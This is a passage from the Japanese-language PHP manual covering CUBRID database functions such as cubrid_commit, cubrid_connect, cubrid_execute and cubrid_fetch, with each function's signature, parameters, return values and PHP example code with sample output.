athlete_code                   integer                        11
stadium_code                   integer                        11
nation_code                    char                           3
medal                          char                           1
game_date                      date                           10

参考

  • cubrid_prepare() - Prepare a SQL statement for execution
  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_column_types() - Get column types in result

User Contributed Notes

There are no user contributed notes for this page.


Get column types in result

  • ≪ cubrid_column_names
  • cubrid_commit ≫
  • PHP Manual
  • CUBRID 関数
  • Get column types in result

cubrid_column_types

(PECL CUBRID >= 8.3.0)

cubrid_column_types — Get column types in result

説明

cubrid_column_types ( resource $req_identifier ) : array

The cubrid_column_types() function gets column types of query results by using req_identifier.

パラメータ

req_identifier

Request identifier.

返り値

Array of string values containing the column types, when process is successful.

false, when process is unsuccessful.

例

例1 cubrid_column_types() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");
$result = cubrid_execute($conn, "SELECT * FROM game WHERE host_year=2004 AND nation_code='AUS' AND medal='G'");

$column_names = cubrid_column_names($result);
$column_types = cubrid_column_types($result);

printf("%-30s %-30s %-15s\n", "Column Names", "Column Types", "Column Maxlen");
for($i = 0, $size = count($column_names); $i < $size; $i++) {
    $column_len = cubrid_field_len($result, $i);
    printf("%-30s %-30s %-15s\n", $column_names[$i], $column_types[$i], $column_len);
}

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

Column Names                   Column Types                   Column Maxlen
host_year                      integer                        11
event_code                     integer                        11
athlete_code                   integer                        11
stadium_code                   integer                        11
nation_code                    char                           3
medal                          char                           1
game_date                      date                           10

参考

  • cubrid_column_names() - Get the column names in result
  • cubrid_prepare() - Prepare a SQL statement for execution
  • cubrid_execute() - Execute a prepared SQL statement

User Contributed Notes

There are no user contributed notes for this page.


Commit a transaction

  • ≪ cubrid_column_types
  • cubrid_connect_with_url ≫
  • PHP Manual
  • CUBRID 関数
  • Commit a transaction

cubrid_commit

(PECL CUBRID >= 8.3.0)

cubrid_commit — Commit a transaction

説明

cubrid_commit ( resource $conn_identifier ) : bool

The cubrid_commit() function is used to execute commit on the transaction pointed by conn_identifier, currently in progress. Connection to the server is closed after the cubrid_commit() function is called; However, the connection handle is still valid.

In CUBRID PHP, auto-commit mode is disabled by default for transaction management. You can set it by using cubrid_set_autocommit(). You can get its status by using cubrid_get_autocommit(). Before you start a transaction, remember to disable the auto-commit mode.

パラメータ

conn_identifier

Connection identifier.

返り値

true, when process is successful.

false, when process is unsuccessful.

例

例1 cubrid_commit() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE publishers");

$sql = <<<EOD
CREATE TABLE publishers(
pub_id CHAR(3),
pub_name VARCHAR(20),
city VARCHAR(15),
state CHAR(2),
country VARCHAR(15)
)
EOD;
cubrid_set_autocommit($conn,false);
if (!cubrid_execute($conn, $sql)) {
    printf("Error facility: %d\nError code: %d\nError msg: %s\n", cubrid_error_code_facility(), cubrid_error_code(), cubrid_error_msg());

    cubrid_disconnect($conn);
    exit;
}

$req = cubrid_prepare($conn, "INSERT INTO publishers VALUES(?, ?, ?, ?, ?)");

$id_list = array("P01", "P02", "P03", "P04");
$name_list = array("Abatis Publishers", "Core Dump Books", "Schadenfreude Press", "Tenterhooks Press");
$city_list = array("New York", "San Francisco", "Hamburg", "Berkeley");
$state_list = array("NY", "CA", NULL, "CA");
$country_list = array("USA", "USA", "Germany", "USA");

for ($i = 0, $size = count($id_list); $i < $size; $i++) {
    cubrid_bind($req, 1, $id_list[$i]);
    cubrid_bind($req, 2, $name_list[$i]);
    cubrid_bind($req, 3, $city_list[$i]);
    cubrid_bind($req, 4, $state_list[$i]);
    cubrid_bind($req, 5, $country_list[$i]);

    if (!($ret = cubrid_execute($req))) {
        break;
    }
}

if (!$ret) {
    cubrid_rollback($conn);
} else {
    cubrid_commit($conn);

    $req = cubrid_execute($conn, "SELECT * FROM publishers");
    while ($result = cubrid_fetch_assoc($req)) {
        printf("%-3s %-20s %-15s %-3s %-15s\n",
            $result["pub_id"], $result["pub_name"], $result["city"], $result["state"], $result["country"]);
    }
}

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

P01 Abatis Publishers    New York        NY  USA
P02 Core Dump Books      San Francisco   CA  USA
P03 Schadenfreude Press  Hamburg             Germany
P04 Tenterhooks Press    Berkeley        CA  USA

参考

  • cubrid_rollback() - Roll back a transaction
  • cubrid_get_autocommit() - Get auto-commit mode of the connection
  • cubrid_set_autocommit() - Set autocommit mode of the connection

User Contributed Notes

There are no user contributed notes for this page.


Establish the environment for connecting to CUBRID server

  • ≪ cubrid_commit
  • cubrid_connect ≫
  • PHP Manual
  • CUBRID 関数
  • Establish the environment for connecting to CUBRID server

cubrid_connect_with_url

(PECL CUBRID >= 8.3.1)

cubrid_connect_with_url — Establish the environment for connecting to CUBRID server

説明

cubrid_connect_with_url ( string $conn_url , string $userid = ? , string $passwd = ? , bool $new_link = false ) : resource

The cubrid_connect_with_url() function is used to establish the environment for connecting to your server by using connection information passed with an url string argument. If the HA feature is enabled in CUBRID, you must specify the connection information of the standby server, which is used for failover when failure occurs, in the url string argument of this function. If the user name and password is not given, then the "PUBLIC" connection will be made by default.

<url> ::= CUBRID:<host>:<db_name>:<db_user>:<db_password>:[?<properties>]

<properties> ::= <property> [&<property>]

<properties> ::= alhosts=<alternative_hosts>[ &rctime=<time>]

<properties> ::= login_timeout=<milli_sec>

<properties> ::= query_timeout=<milli_sec>

<properties> ::= disconnect_on_query_timeout=true|false

<alternative_hosts> ::= <standby_broker1_host>:<port> [,<standby_broker2_host>:<port>]

<host> := HOSTNAME | IP_ADDR

<time> := SECOND

<milli_sec> := MILLI SECOND

  • host : A host name or IP address of the master database
  • db_name : A name of the database
  • db_user : A name of the database user
  • db_password : A database user password
  • alhosts : Specifies the broker information of the standby server, which is used for failover when it is impossible to connect to the active server. You can specify multiple brokers for failover, and the connection to the brokers is attempted in the order listed in alhosts
  • rctime : An interval between the attempts to connect to the active broker in which failure occurred. After a failure occurs, the system connects to the broker specified by althosts (failover), terminates the transaction, and then attempts to connect to the active broker of the master database at every rctime. The default value is 600 seconds.
  • login_timeout : Timeout value (unit: msec.) for database login. The default value is 0, which means infinite postponement.
  • query_timeout : Timeout value (unit: msec.) for query request. Upon timeout, a message to cancel requesting a query transferred to server is sent. The return value can depend on the disconnect_on_query_timeout configuration; even though the message to cancel a request is sent to server, that request may succeed.
  • disconnect_on_query_timeout : Configures a value whether to immediately return an error of function being executed upon timeout. The default value is false.

注意:

? and : that are used as identifiers in PHP connection URL can't be included in the password. The following is an example of a password that is invalid to use as connection URL because it contains "?:".

$url = "CUBRID:localhost:33000:tdb:dba:12?:?login_timeout=100";

Passwords that contain ? or : may be passed as a separate parameter.

$url = "CUBRID:localhost:33000:tbd:::?login_timeout=100";

$conn = cubrid_connect_with_url($url, "dba", "12?");

If user or password is empty,you can't delete ":",the following is an example.

$url = "CUBRID:localhost:33000:demodb:::";

パラメータ

conn_url

A character string that contains server connection information.

userid

User name for the database.

passwd

User password.

new_link

If a second call is made to cubrid_connect_with_url() with the same arguments, no new connection will be established, but instead, the connection identifier of the already opened connection will be returned. The new_link parameter modifies this behavior and makes cubrid_connect_with_url() always open a new connection, even if cubrid_connect_with_url() was called before with the same parameters.

返り値

Connection identifier, when process is successful.

false, when process is unsuccessful.

例

例1 cubrid_connect_with_url() url without properties example

<?php
$conn_url = "CUBRID:localhost:33000:demodb:dba::";
$con = cubrid_connect_with_url($conn_url);

if ($con) {
   echo "connected successfully";
   cubrid_execute($con, "create table person(id int,name char(16))");
   $req =cubrid_execute($con, "insert into person values(1,'James')");

   if ($req) {
      cubrid_close_request($req);
      cubrid_commit($con);
   } else {
      cubrid_rollback($con);
   }
   cubrid_disconnect($con);
}
?>

例2 cubrid_connect_with_url() url with properties example

<?php
$conn_url = "CUBRID:127.0.0.1:33000:demodb:dba::?login_timeout=100"
$con = cubrid_connect_with_url ($conn_url);

if ($con) {
   echo "connected successfully";
   cubrid_execute($con, "create table person(id int,name char(16))");
   $req =cubrid_execute($con, "insert into person values(1,'James')");

   if ($req) {
      cubrid_close_request($req);
      cubrid_commit($con);
   } else {
      cubrid_rollback($con);
   }
   cubrid_disconnect($con);
}
?>

参考

  • cubrid_connect() - Open a connection to a CUBRID Server
  • cubrid_pconnect() - Open a persistent connection to a CUBRID server
  • cubrid_pconnect_with_url() - Open a persistent connection to CUBRID server
  • cubrid_disconnect() - Close a database connection
  • cubrid_close() - Close CUBRID connection

User Contributed Notes

There are no user contributed notes for this page.


Open a connection to a CUBRID Server

  • ≪ cubrid_connect_with_url
  • cubrid_current_oid ≫
  • PHP Manual
  • CUBRID 関数
  • Open a connection to a CUBRID Server

cubrid_connect

(PECL CUBRID >= 8.3.1)

cubrid_connect — Open a connection to a CUBRID Server

説明

cubrid_connect ( string $host , int $port , string $dbname , string $userid = ? , string $passwd = ? , bool $new_link = false ) : resource

The cubrid_connect() function is used to establish the environment for connecting to your server by using your server address, port number, database name, user name, and password. If the user name and password is not given, then the "PUBLIC" connection will be made by default.

パラメータ

host

Host name or IP address of CUBRID CAS server.

port

Port number of CUBRID CAS server (BROKER_PORT configured in $CUBRID/conf/cubrid_broker.conf).

dbname

Name of database.

userid

User name for the database. If not given, the default value is "public".

passwd

User password. If not given, the default value is "".

new_link

If a second call is made to cubrid_connect() with the same arguments, no new connection will be established, but instead, the connection identifier of the already opened connection will be returned. The new_link parameter modifies this behavior and makes cubrid_connect() always open a new connection, even if cubrid_connect() was called before with the same parameters.

返り値

Connection identifier, when process is successful.

false, when process is unsuccessful.

例

例1 cubrid_connect() example

<?php
printf("%-30s %s\n", "CUBRID PHP Version:", cubrid_version());

printf("\n");

$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

if (!$conn) {
    die('Connect Error ('. cubrid_error_code() .')' . cubrid_error_msg());
}

$db_params = cubrid_get_db_parameter($conn);

while (list($param_name, $param_value) = each($db_params)) {
    printf("%-30s %s\n", $param_name, $param_value);
}

printf("\n");

$server_info = cubrid_get_server_info($conn);
$client_info = cubrid_get_client_info();

printf("%-30s %s\n", "Server Info:", $server_info);
printf("%-30s %s\n", "Client Info:", $client_info);

printf("\n");

$charset = cubrid_get_charset($conn);

printf("%-30s %s\n", "CUBRID Charset:", $charset);

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

CUBRID PHP Version:            9.1.0.0001

PARAM_ISOLATION_LEVEL          3
LOCK_TIMEOUT                   -1
MAX_STRING_LENGTH              1073741823
PARAM_AUTO_COMMIT              1

Server Info:                   9.1.0.0212
Client Info:                   9.1.0

CUBRID Charset:                iso8859-1

参考

  • cubrid_pconnect() - Open a persistent connection to a CUBRID server
  • cubrid_connect_with_url() - Establish the environment for connecting to CUBRID server
  • cubrid_pconnect_with_url() - Open a persistent connection to CUBRID server
  • cubrid_disconnect() - Close a database connection
  • cubrid_close() - Close CUBRID connection

User Contributed Notes

There are no user contributed notes for this page.


Get OID of the current cursor location

  • ≪ cubrid_connect
  • cubrid_disconnect ≫
  • PHP Manual
  • CUBRID 関数
  • Get OID of the current cursor location

cubrid_current_oid

(PECL CUBRID >= 8.3.0)

cubrid_current_oid — Get OID of the current cursor location

説明

cubrid_current_oid ( resource $req_identifier ) : string

The cubrid_current_oid() function is used to get the oid of the current cursor location from the query result. To use cubrid_current_oid(), the query executed must be a updatable query, and the CUBRID_INCLUDE_OID option must be included during the query execution.

パラメータ

req_identifier

Request identifier.

返り値

Oid of current cursor location, when process is successful

false, when process is unsuccessful.

例

例1 cubrid_current_oid() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

$req = cubrid_execute($conn, "SELECT * FROM code", CUBRID_INCLUDE_OID);
$oid = cubrid_current_oid($req);
$res = cubrid_get($conn, $oid);

print_r($res);

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

Array
(
    [s_name] => X
    [f_name] => Mixed
)

参考

  • cubrid_execute() - Execute a prepared SQL statement

User Contributed Notes

There are no user contributed notes for this page.


Close a database connection

  • ≪ cubrid_current_oid
  • cubrid_drop ≫
  • PHP Manual
  • CUBRID 関数
  • Close a database connection

cubrid_disconnect

(PECL CUBRID >= 8.3.0)

cubrid_disconnect — Close a database connection

説明

cubrid_disconnect ( resource $conn_identifier = ? ) : bool

The cubrid_disconnect() function closes the connection handle and disconnects from server. If any request handle is not closed at this point, it will be closed. It is similar to the CUBRID MySQL compatible function cubrid_close().

パラメータ

conn_identifier

Connection identifier.

返り値

true, when process is successful.

false, when process is unsuccessful.

例

例1 cubrid_disconnect() example

<?php
$con = cubrid_connect ("localhost", 33000, "demodb");
if ($con) {
   echo "connected successfully";

   $req = cubrid_execute( $con, "create table person(id int,name char(10))");
   if ($req) {
      cubrid_close_request($req);
      cubrid_commit($con);
   } else {
      cubrid_rollback($con);
   }

   $req = cubrid_execute( $con, "insert into person values(1,'James')");
   if ($req) {
      cubrid_close_request($req);
      cubrid_commit($con);
   } else {
      cubrid_rollback($con);
   }
   cubrid_disconnect($con);
}
?>

参考

  • cubrid_close() - Close CUBRID connection
  • cubrid_connect() - Open a connection to a CUBRID Server
  • cubrid_connect_with_url() - Establish the environment for connecting to CUBRID server

User Contributed Notes

There are no user contributed notes for this page.


Delete an instance using OID

  • ≪ cubrid_disconnect
  • cubrid_error_code_facility ≫
  • PHP Manual
  • CUBRID 関数
  • Delete an instance using OID

cubrid_drop

(PECL CUBRID >= 8.3.0)

cubrid_drop — Delete an instance using OID

説明

cubrid_drop ( resource $conn_identifier , string $oid ) : bool

The cubrid_drop() function is used to delete an instance from database by using the oid of the instance.

パラメータ

conn_identifier

Connection identifier.

oid

Oid of the instance that you want to delete.

返り値

true, when process is successful.

false, when process is unsuccessful.

例

例1 cubrid_drop() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(2, {4,5,7}, {44,55,66,666}, 'b')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

printf("--- Before Drop: ---\n");
$attr = cubrid_get($conn, $oid);
var_dump($attr);

if (cubrid_drop($conn, $oid)) {
    cubrid_commit($conn);
} else {
    cubrid_rollback($conn);
}

cubrid_close_request($req);

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

printf("\n--- After Drop: ---\n");
$attr = cubrid_get($conn, $oid);
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

--- Before Drop: ---
array(4) {
  ["a"]=>
  string(1) "1"
  ["b"]=>
  array(3) {
    [0]=>
    string(1) "1"
    [1]=>
    string(1) "2"
    [2]=>
    string(1) "3"
  }
  ["c"]=>
  array(4) {
    [0]=>
    string(2) "11"
    [1]=>
    string(2) "22"
    [2]=>
    string(2) "33"
    [3]=>
    string(3) "333"
  }
  ["d"]=>
  string(10) "a         "
}

--- After Drop: ---
array(4) {
  ["a"]=>
  string(1) "2"
  ["b"]=>
  array(3) {
    [0]=>
    string(1) "4"
    [1]=>
    string(1) "5"
    [2]=>
    string(1) "7"
  }
  ["c"]=>
  array(4) {
    [0]=>
    string(2) "44"
    [1]=>
    string(2) "55"
    [2]=>
    string(2) "66"
    [3]=>
    string(3) "666"
  }
  ["d"]=>
  string(10) "b         "
}

参考

  • cubrid_is_instance() - Check whether the instance pointed by OID exists

User Contributed Notes

There are no user contributed notes for this page.


Get the facility code of error

  • ≪ cubrid_drop
  • cubrid_error_code ≫
  • PHP Manual
  • CUBRID 関数
  • Get the facility code of error

cubrid_error_code_facility

(PECL CUBRID >= 8.3.0)

cubrid_error_code_facility — Get the facility code of error

説明

cubrid_error_code_facility ( ) : int

The cubrid_error_code_facility() function is used to get the facility code (level in which the error occurred) from the error code of the error that occurred during the API execution. Usually, you can get the error code when API returns false as its return value.

パラメータ

この関数にはパラメータはありません。

返り値

Facility code of the error code that occurred: CUBRID_FACILITY_DBMS, CUBRID_FACILITY_CAS, CUBRID_FACILITY_CCI, CUBRID_FACILITY_CLIENT

例

例1 cubrid_error_code_facility() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = @cubrid_execute($conn, "SELECT * FROM unknown");
if (!$req) {
    printf("Error facility: %d\nError code: %d\nError msg: %s\n",
        cubrid_error_code_facility(), cubrid_error_code(), cubrid_error_msg());

    cubrid_disconnect($conn);
    exit;
}
?>

上の例の出力は以下となります。

Error facility: 1
Error code: -493
Error msg: Syntax: In line 1, column 15 before END OF STATEMENT
Syntax error: unexpected 'unknown'

参考

  • cubrid_error_code() - Get error code for the most recent function call
  • cubrid_error_msg() - Get last error message for the most recent function call

User Contributed Notes

There are no user contributed notes for this page.


Get error code for the most recent function call

  • ≪ cubrid_error_code_facility
  • cubrid_error_msg ≫
  • PHP Manual
  • CUBRID 関数
  • Get error code for the most recent function call

cubrid_error_code

(PECL CUBRID >= 8.3.0)

cubrid_error_code — Get error code for the most recent function call

説明

cubrid_error_code ( ) : int

The cubrid_error_code() function is used to get the error code of the error that occurred during the API execution. Usually, it gets the error code when API returns false as its return value.

パラメータ

この関数にはパラメータはありません。

返り値

Error code of the error that occurred, or 0 (zero) if no error occurred.

例

例1 cubrid_error_code() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_prepare($conn , "SELECT * FROM code WHERE s_name=?");

$req = @cubrid_execute($req);
if (!$req) {
    printf("Error facility: %d\nError code: %d\nError msg: %s\n",
        cubrid_error_code_facility(), cubrid_error_code(), cubrid_error_msg());

    cubrid_disconnect($conn);
    exit;
}
?>

上の例の出力は以下となります。

Error facility: 4
Error code: -30015
Error msg: Some parameter not binded

参考

  • cubrid_error_code_facility() - Get the facility code of error
  • cubrid_error_msg() - Get last error message for the most recent function call

User Contributed Notes

There are no user contributed notes for this page.


Get last error message for the most recent function call

  • ≪ cubrid_error_code
  • cubrid_execute ≫
  • PHP Manual
  • CUBRID 関数
  • Get last error message for the most recent function call

cubrid_error_msg

(PECL CUBRID >= 8.3.0)

cubrid_error_msg — Get last error message for the most recent function call

説明

cubrid_error_msg ( ) : string

The cubrid_error_msg() function is used to get the error message that occurred during the use of CUBRID API. Usually, it gets error message when API returns false as its return value.

パラメータ

この関数にはパラメータはありません。

返り値

Error message that occurred.

例

例1 cubrid_error_msg() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

if (!@cubrid_schema($conn, 100000)) {
    printf("Error facility: %d\nError code: %d\nError msg: %s\n",
        cubrid_error_code_facility(), cubrid_error_code(), cubrid_error_msg());

    cubrid_disconnect($conn);
    exit;
}
?>

上の例の出力は以下となります。

Error facility: 2
Error code: -10015
Error msg: Invalid T_CCI_SCH_TYPE value

参考

  • cubrid_error_code() - Get error code for the most recent function call
  • cubrid_error_code_facility() - Get the facility code of error

User Contributed Notes

There are no user contributed notes for this page.


Execute a prepared SQL statement

  • ≪ cubrid_error_msg
  • cubrid_fetch ≫
  • PHP Manual
  • CUBRID 関数
  • Execute a prepared SQL statement

cubrid_execute

(PECL CUBRID >= 8.3.0)

cubrid_execute — Execute a prepared SQL statement

説明

cubrid_execute ( resource $conn_identifier , string $sql , int $option = 0 ) : resource
cubrid_execute ( resource $request_identifier , int $option = 0 ) : bool

The cubrid_execute() function is used to execute the given SQL statement. It executes the query by using conn_identifier and SQL, and then returns the request identifier created. It is used for simple execution of query, where the parameter binding is not needed. In addition, the cubrid_execute() function is used to execute the prepared statement by means of cubrid_prepare() and cubrid_bind(). At this time, you need to specify arguments of request_identifier and option.

The option is used to determine whether to get OID after query execution and whether to execute the query in synchronous or asynchronous mode. CUBRID_INCLUDE_OID and CUBRID_ASYNC (or CUBRID_EXEC_QUERY_ALL if you want to execute multiple SQL statements) can be specified by using a bitwise OR operator. If not specified, neither of them isselected. If the flag CUBRID_EXEC_QUERY_ALL is set, a synchronous mode (sync_mode) is used to retrieve query results, and in such cases the following rules are applied:

  • The return value is the result of the first query.
  • If an error occurs in any query, the execution is processed as a failure.
  • In a query composed of q1 q2 q3, if an error occurs in q2 after q1 succeeds the execution, the result of q1 remains valid. That is, the previous successful query executions are not rolled back when an error occurs.
  • If a query is executed successfully, the result of the second query can be obtained using cubrid_next_result().

If the first argument is request_identifier to execute the cubrid_prepare() function, you can specify an option, CUBRID_ASYNC only.

パラメータ

conn_identifier

Connection identifier.

sql

SQL to be executed.

option

Query execution option CUBRID_INCLUDE_OID, CUBRID_ASYNC, CUBRID_EXEC_QUERY_ALL.

request_identifier

cubrid_prepare() identifier.

返り値

Request identifier, when process is successful and first param is conn_identifier; true, when process is successful and first argument is request_identifier.

false, when process is unsuccessful.

変更履歴

バージョン | 説明
8.4.0 | Add new option CUBRID_EXEC_QUERY_ALL.

例

例1 cubrid_execute() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$result = cubrid_execute($conn, "SELECT code FROM event WHERE name='100m Butterfly' and gender='M'", CUBRID_ASYNC);
$row = cubrid_fetch_array($result, CUBRID_ASSOC);
$event_code = $row["code"];

cubrid_close_request($result);

$history_req = cubrid_prepare($conn, "SELECT * FROM history WHERE event_code=?");
cubrid_bind($history_req, 1, $event_code, "number");
cubrid_execute($history_req);

printf("%-20s %-9s %-10s %-5s\n", "athlete", "host_year", "score", "unit");
while ($row = cubrid_fetch_array($history_req, CUBRID_ASSOC)) {
    printf("%-20s %-9s %-10s %-5s\n",
        $row["athlete"], $row["host_year"], $row["score"], $row["unit"]);
}

cubrid_close_request($history_req);

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

athlete              host_year score      unit
Phelps Michael       2004      51.25      time

参考

  • cubrid_prepare() - Prepare a SQL statement for execution
  • cubrid_bind() - Bind variables to a prepared statement as parameters
  • cubrid_next_result() - Get result of next query when executing multiple SQL statements
  • cubrid_close_request() - Close the request handle
  • cubrid_commit() - Commit a transaction
  • cubrid_rollback() - Roll back a transaction

User Contributed Notes

There are no user contributed notes for this page.


Fetch the next row from a result set

  • ≪ cubrid_execute
  • cubrid_free_result ≫
  • PHP Manual
  • CUBRID 関数
  • Fetch the next row from a result set

cubrid_fetch

(PECL CUBRID >= 8.3.0)

cubrid_fetch — Fetch the next row from a result set

説明

cubrid_fetch ( resource $result , int $type = CUBRID_BOTH ) : mixed

The cubrid_fetch() function is used to get a single row from the query result. The cursor automatically moves to the next row after getting the result.

パラメータ

result

result comes from a call to cubrid_execute()

type

Array type of the fetched result CUBRID_NUM, CUBRID_ASSOC, CUBRID_BOTH, CUBRID_OBJECT. If you want to operate the lob object, you can use CUBRID_LOB.

返り値

Result array or object, when process is successful.

false, when there are no more rows; NULL, when process is unsuccessful.

The result can be received either as an array or as an object, and you can decide which data type to use by setting the type argument. The type variable can be set to one of the following values:

  • CUBRID_NUM : Numerical array (0-based)
  • CUBRID_ASSOC : Associative array
  • CUBRID_BOTH : Numerical & Associative array (default)
  • CUBRID_OBJECT : object that has the attribute name as the column name of query result

When type argument is omitted, the result will be received using CUBRID_BOTH option as default. When you want to receive query result in object data type, the column name of the result must obey the naming rules for identifiers in PHP. For example, column name such as "count(*)" cannot be received in object type.

例

例1 cubrid_fetch() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_execute($conn, "SELECT * FROM stadium WHERE nation_code='GRE' AND seats > 10000");

printf("%-40s %-10s %-6s %-20s\n", "name", "area", "seats", "address");
while ($row = cubrid_fetch($req)) {
    printf("%-40s %-10s %-6s %-20s\n",
        $row["name"], $row["area"], $row["seats"], $row["address"]);
}

// if you want to operate lob object, you can use cubrid_fetch($req, CUBRID_LOB)

cubrid_close_request($req);

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

name                                     area       seats  address
Panathinaiko Stadium                     86300.00   50000  Athens, Greece
Olympic Stadium                          54700.00   13000  Athens, Greece
Olympic Indoor Hall                      34100.00   18800  Athens, Greece
Olympic Hall                             52400.00   21000  Athens, Greece
Olympic Aquatic Centre                   42500.00   11500  Athens, Greece
Markopoulo Olympic Equestrian Centre     64000.00   15000  Markopoulo, Athens, Greece
Faliro Coastal Zone Olympic Complex      34650.00   12171  Faliro, Athens, Greece
Athens Olympic Stadium                   120400.00  71030  Maroussi, Athens, Greece
Ano Liossia                              34000.00   12000  Ano Liosia, Athens, Greece

参考

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • cubrid_fetch_row() - Return a numerical array with the values of the current row
  • cubrid_fetch_assoc() - Return the associative array that corresponds to the fetched row
  • cubrid_fetch_object() - Fetch the next row and return it as an object

User Contributed Notes

There are no user contributed notes for this page.


Free the memory occupied by the result data

  • ≪ cubrid_fetch
  • cubrid_get_autocommit ≫
  • PHP Manual
  • CUBRID 関数
  • Free the memory occupied by the result data

cubrid_free_result

(PECL CUBRID >= 8.3.0)

cubrid_free_result — Free the memory occupied by the result data

説明

cubrid_free_result ( resource $req_identifier ) : bool

This function frees the memory occupied by the result data. It returns TRUE on success or FALSE on failure. Note that it can only frees the client fetch buffer now, and if you want free all memory, use function cubrid_close_request().

パラメータ

req_identifier

This is the request identifier.

返り値

true on success.

false on failure.

例

例1 cubrid_free_result() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$req = cubrid_execute($conn, "SELECT * FROM history WHERE host_year=2004 ORDER BY event_code");
$row = cubrid_fetch_assoc($req);
var_dump($row);

cubrid_free_result($req);
cubrid_close_request($req);
cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

array(5) {
  ["event_code"]=>
  string(5) "20005"
  ["athlete"]=>
  string(12) "Hayes Joanna"
  ["host_year"]=>
  string(4) "2004"
  ["score"]=>
  string(5) "12.37"
  ["unit"]=>
  string(4) "time"
}

User Contributed Notes

There are no user contributed notes for this page.


Get auto-commit mode of the connection

  • ≪ cubrid_free_result
  • cubrid_get_charset ≫
  • PHP Manual
  • CUBRID 関数
  • Get auto-commit mode of the connection

cubrid_get_autocommit

(PECL CUBRID >= 8.4.0)

cubrid_get_autocommit — Get auto-commit mode of the connection

説明

cubrid_get_autocommit ( resource $conn_identifier ) : bool

The cubrid_get_autocommit() function is used to get the status of CUBRID database connection auto-commit mode.

For CUBRID 8.4.0, auto-commit mode is disabled by default for transaction management.

For CUBRID 8.4.1, auto-commit mode is enabled by default for transaction management.

パラメータ

conn_identifier

Connection identifier.

返り値

true, when auto-commit is on.

false, when auto-commit is off.

null on error.

参考

  • cubrid_set_autocommit() - Set autocommit mode of the connection
  • cubrid_commit() - Commit a transaction

User Contributed Notes

There are no user contributed notes for this page.


Return the current CUBRID connection charset

  • ≪ cubrid_get_autocommit
  • cubrid_get_class_name ≫
  • PHP Manual
  • CUBRID 関数
  • Return the current CUBRID connection charset

cubrid_get_charset

(PECL CUBRID >= 8.3.0)

cubrid_get_charset — Return the current CUBRID connection charset

説明

cubrid_get_charset ( resource $conn_identifier ) : string

This function returns the current CUBRID connection charset and is similar to the CUBRID MySQL compatible function cubrid_client_encoding().

パラメータ

conn_identifier

The CUBRID connection.

返り値

A string that represents the CUBRID connection charset; on success.

false on failure.

例

例1 cubrid_get_charset() example

<?php

$con = cubrid_connect("localhost", 33000, "demodb");
if (!$con)
{
    die('Could not connect.');
}

printf("CUBRID current charset: %s\n", cubrid_get_charset($con));

?>

上の例の出力は以下となります。

CUBRID current charset: iso8859-1

参考

  • cubrid_client_encoding() - Return the current CUBRID connection charset

User Contributed Notes

There are no user contributed notes for this page.


Get the class name using OID

  • ≪ cubrid_get_charset
  • cubrid_get_client_info ≫
  • PHP Manual
  • CUBRID 関数
  • Get the class name using OID

cubrid_get_class_name

(PECL CUBRID >= 8.3.0)

cubrid_get_class_name — Get the class name using OID

説明

cubrid_get_class_name ( resource $conn_identifier , string $oid ) : string

The cubrid_get_class_name() function is used to get the class name from oid. It doesn't work when selecting data from the system tables, for example db_class.

パラメータ

conn_identifier

Connection identifier.

oid

OID of the instance that you want to check the existence.

返り値

Class name when process is successful.

false, when process is unsuccessful.

例

例1 cubrid_get_class_name() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

$req = cubrid_execute($conn, "SELECT * FROM code", CUBRID_INCLUDE_OID);
$oid = cubrid_current_oid($req);
$class_name = cubrid_get_class_name($conn, $oid);

print_r($class_name);

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

code

参考

  • cubrid_is_instance() - Check whether the instance pointed by OID exists
  • cubrid_drop() - Delete an instance using OID

User Contributed Notes

There are no user contributed notes for this page.


Return the client library version

  • ≪ cubrid_get_class_name
  • cubrid_get_db_parameter ≫
  • PHP Manual
  • CUBRID 関数
  • Return the client library version

cubrid_get_client_info

(PECL CUBRID >= 8.3.0)

cubrid_get_client_info — Return the client library version

説明

cubrid_get_client_info ( ) : string

This function returns a string that represents the client library version.

パラメータ

返り値

A string that represents the client library version; on success.

false on failure.

例

例1 cubrid_get_client_info() example

<?php
printf("%-30s %s\n", "CUBRID PHP Version:", cubrid_version());

printf("\n");

$conn = cubrid_connect("localhost", 33088, "demodb");

if (!$conn) {
    die('Connect Error ('. cubrid_error_code() .')' . cubrid_error_msg());
}

$db_params = cubrid_get_db_parameter($conn);

while (list($param_name, $param_value) = each($db_params)) {
    printf("%-30s %s\n", $param_name, $param_value);
}

printf("\n");

$server_info = cubrid_get_server_info($conn);
